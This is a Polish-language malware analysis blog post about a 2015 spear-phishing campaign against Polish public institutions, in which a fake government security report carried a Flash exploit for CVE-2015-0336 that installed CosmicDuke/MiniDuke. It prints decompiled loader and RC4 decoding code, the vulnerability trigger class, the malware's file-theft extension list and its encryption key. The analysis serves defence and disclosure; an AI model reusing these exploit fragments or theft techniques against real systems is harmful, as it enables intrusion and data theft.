wtorek, 11 sierpnia 2015

Wykradanie danych z instytucji publicznych

Przedstawiamy opis ataku ukierunkowanego (ang. spear phishing) jaki miał miejsce w czerwcu 2015 roku na polskie instytucje publiczne. Możemy opisać niestety tylko jedną próbę ataku z dnia 11 czerwca 2015 roku. Do wybranej grupy użytkowników został przesłany dokument Microsoft Word zawierający raport Rządowego Centrum Bezpieczeństwa - RD RCB 11.06.docx. 

 

Etap I - Infekcja


Dokument RD RCB 11.06.docx przypomina raporty jakie można pobrać ze strony Rządowego Centrum Bezpieczeństwa - rcb.gov.pl z tą różnicą, że na stronie dostępne są tylko w formacie PDF.


Dokument zawierała obiekt flash zawierający skrypty w AS3. Poniżej fragment weryfikujący wersję flash zainstalowaną na atakowanym komputerze.


Obiekt fws zawiera między innymi główną funkcję Arrfhs432tyh() oraz dwa obiekty binarne: trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 oraz shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. W kodzie głównej funkcji możemy znaleźć odwołania do tych obiektów i miejsca gdzie są odczytywane. Poniżej fragment skryptu uruchamiającego funkcję z zewnętrznego obiektu.

...
this.rigembe = trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759;
this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359;
...
var _loc2_:ByteArray = new this.rigembe() as ByteArray;
         _loc1_ = this.unzip("decompress",new this.rigembe() as ByteArray);
         var _loc3_:Loader = new Loader();
         _loc3_.loadBytes(_loc1_);


Można zauważyć, że na początku wywoływana jest funkcja unzip(), która również znajduje się w analizowanym skrypcie. Aby odczytać zawartość „zewnętrznego” skryptu tworzymy własny program dekodujący (np. w Flash Builder) korzystając z funkcji unzip() oraz dwóch funkcji służących do odczytu pliku (obiektu) i zapisu. Zawartość funkcji unzip():

private function unzip(param1:String, param2:ByteArray) : ByteArray
        {
            var _loc3_:uint = 0;
            var _loc4_:uint = 0;
            var _loc5_:uint = 0;
            var _loc6_:ByteArray = new ByteArray();
            var _loc7_:uint = 0;
            var _loc8_:ByteArray = new ByteArray();
            var _loc9_:ByteArray = new ByteArray();
            _loc9_.writeMultiByte(param1,"iso-8859-1");
            _loc4_ = 0;
            while(_loc4_ < 256)
            {
                _loc6_[_loc4_] = _loc4_;
                _loc4_++;
            }
            _loc4_ = 0;
            while(_loc4_ < 256)
            {
                _loc7_ = _loc7_ + _loc6_[_loc4_] + _loc9_[_loc4_ % _loc9_.length] & 255;
                _loc3_ = _loc6_[_loc4_];
                _loc6_[_loc4_] = _loc6_[_loc7_];
                _loc6_[_loc7_] = _loc3_;
                _loc4_++;
            }
            _loc4_ = 0;
            _loc7_ = 0;
            _loc5_ = 0;
            while(_loc5_ < param2.length)
            {
                _loc4_ = _loc4_ + 1 & 255;
                _loc7_ = _loc7_ + _loc6_[_loc4_] & 255;
                _loc3_ = _loc6_[_loc4_];
                _loc6_[_loc4_] = _loc6_[_loc7_];
                _loc6_[_loc7_] = _loc3_;
                _loc8_[_loc5_] = param2[_loc5_] ^ _loc6_[_loc6_[_loc4_] + _loc6_[_loc7_] & 255];
                _loc5_++;
            }
            return _loc8_;
        }


Przykładowe funkcje odczytu i zapisu, których użyjemy w naszym programie dekodującym:

private function writeBytesToFile(fileName:String, data:ByteArray):void
        {
            var outFile:File = File.desktopDirectory;                        

             outFile = outFile.resolvePath(fileName);
            var outStream:FileStream = new FileStream();
             outStream.open(outFile, FileMode.WRITE);
             outStream.writeBytes(data, 0, data.length);
            outStream.close();
        }
        private function readFileIntoByteArray(fileName:String, data:ByteArray):void
        {
            var inFile:File = File.desktopDirectory;
            inFile = inFile.resolvePath(fileName); 
            var inStream:FileStream = new FileStream();
            inStream.open(inFile, FileMode.READ);
            inStream.readBytes(data);
            inStream.close();
        }


Odkodowany plik binarny trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 wskazuje na błąd CVE-2015-0336 poprawiony przez Adobe 12 marca 2014 2015 roku [1]. Poniżej zawartość funkcji znajdującej się w tym pliku:

class Trigger
{
   function Trigger()
   {
      var _loc2_ = _global.ASnative(2100,438181888);
      var _loc3_ = new Object();
      _loc2_.__proto__ = _loc3_;
      _global.ASnative(2100,200)(_loc3_);
      _global.ASnative(2100,8).apply(_loc2_,[1]);
      var _loc4_ = new LocalConnection();
      _loc4_.send("toAS3","rigglo");
   }
   static function main(mc)
   {
      Trigger.app = new Trigger();
   }
}


Wiemy już w jaki sposób wywoływany jest błąd. Zanim to nastąpi inne funkcje głównego skryptu przygotowują pamięć infekowanego komputera. Tablica cool_ba zawiera łańcuch ROP a pwn_ba zawiera shellcode. Poniżej fragment tej funkcji:


Łańcuch ROP budowany jest za pomocą funkcji cooba().


Istotnym komponentem exploit-a jest kod wykonywalny uruchamiany po wykorzystaniu podatności. Shellcode znajduje się w drugim binarnym pliku this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. Oto jego zawartość po dekompresji. Składa się ona z trzech części. Pierwsza część (czerwona ramka) to kod wykonywalny.


Zważywszy na źródło ataku ciekawa jest zawartość zielonej ramki (powyżej) – jest to hasło odkodowujące plik wykonywalny uruchamiany w ostatnim etapie infekcji. Zakodowany plik wykonywalny (niebieska ramka). Odkodowana wersja XOR-em widoczna jest poniżej.

Poniżej ten sam fragment w pamięci komputera (zrzut z debugger-a).

Poniżej fragment stosu tuż przed uruchomieniem odkodowanego pliku wykonywalnego.


Ten sam plik zapisywany jest następnie w lokalizacji (c:/users/<username>/appdata/local/lsaapi.exe) i dodany do zadań systemu Windows uruchamianych cyklicznie.

Etap II – zbieranie informacji


Plik wykonywalny uruchamiany na zainfekowanym komputerze to odmiana złośliwego oprogramowania o nazwie ComicDukeCosmic/MiniDuke. Więcej informacji na ten temat znajduje się tutaj [2] oraz linkach pod tamtym artykułem.

Dla przypomnienia jedna z funkcji to kradzież informacji. Malware wyszukuje (zaczynając od dokumentów ostatnio używanych przez użytkownika) pliki z następującymi rozszerzeniami:

*.doc;*.xps;*.xls;*.ppt;*.pps;*.wps;*.wpd;*.ods;*.odt;*.lwp;*.jtd;*.pdf;*.zip;*.rar;*.docx;*.xlsx;*.pptx;*.ppsx;*.pst;*.ost;*psw*;*pass*;*login*;*admin*;*sifr*;*sifer*;*vpn;*.jpg*;*.url;*.exe;*.dll;*.tmp;*.obj;*.ocx;*.js

Pliki te są szyfrowane i przesyłane na jeden z serwerów ftp. Wykorzystywane serwer ftp/http, loginy oraz hasła są w poniższej tabeli:

Oto fragment opisu ze strony dostawcy ISP gdzie znajdowały się serwery ftp „Switzerland has long been recognized as a safe haven. It is not a member of the EU, and remains neutral in times of conflict”

Poniżej przykłady plików, które udało nam się pobrać z serwerów ftp.


Ich zawartość to skopiowane przez malware pliki o rozszerzeniach wymienionych powyżej lub zrzuty ekranu. Zrzuty ekranu robione są co kilka minut. Bez względu na zawartość, przed wysłaniem na serwerem ftp pliki są kompresowane a następnie szyfrowane. Szyfrowanie odbywa się za pomocą algorytmu bazującego na RC4. Klucz to: AdjustKernelTableFromSSDTSpace2. Jak wiemy RC4 w ostatnim kroku za pomocą operacji XOR koduje poszczególne bajty z wcześniej przygotowaną tablicą. Dlatego wywołując funkcję szyfrującą z bardzo dużym plikiem wejściowym możemy wygenerować klucz, którą użyjemy później do odkodowywania plików znajdujących się na serwerze. Fragment prawidłowego klucza poniżej:


Przed szyfrowaniem pliki są kompresowane. Dodatkowo złośliwe oprogramowanie na początku pliku i po każdych 100 KB danych dodaje nagłówek. Poniżej przykładowy nagłówek oraz widoczny początek właściwego pliku (FFD8) – co wskazuje na screenshot (format JPG). W nagłówku znajduje się między innymi rozmiar pliku czy offset dotyczący kolejnego nagłówka.


Przykład kolejnego nagłówka:



Odkodowując plik uzyskanym wcześniej kluczem oraz implementując mechanizm dekompresji było możliwe odczytywanie plików umieszczanych przez malware na serwerze ftp. Poniżej zawartość jednego z odkodowanych plików. Można zauważyć, że ktoś próbował monitorować zachowanie malware.


Naszym zdaniem atak z wykorzystaniem dokumentu dotyczącego katastrofy smoleńskiej [2] został przeprowadzony przez tą samą grupę. Intruzi w atakach wykorzystują też inne formaty plików i podatności niezwiązane z flash.

File:     RD RCB 11.06.docx
Size:     242537
MD5:      84137c8e7509a0e9cf7ff71ba060cdb5

File:     lsaapi.exe (c:/users/<username>/appdata/local/)
Size:     612864
MD5:      E452A59F037125937BAFD557AB849E1


Źródła:

[1] http://blogs.technet.com/b/mmpc/archive/2015/06/18/understanding-type-confusion-vulnerabilities-cve-2015-0336.aspx
[2] http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html





2 komentarze:

  1. Ten artefakt o Rosjanach to mam wrażenie że jednak ewidentnie fałszywy trop.

    OdpowiedzUsuń
  2. Dzięki za komentarz.
    Staramy się w analizach umieszczać ciekawsze spostrzeżenia aby nie było zbyt nudno...
    Na temat CosmicDuke/MiniDuke jest sporo artykułów w sieci.
    Ktoś ma dostęp do kodu źródłowego lub builder-a. Ponadto wybiera niektóre z polskich instytucji publicznych (te bardziej strategiczne) i regularnie podsyła dokumenty wykorzystujące podatności znane od 3-6 miesięcy. Tyle mogę napisać.
    Pozdrawiam

    OdpowiedzUsuń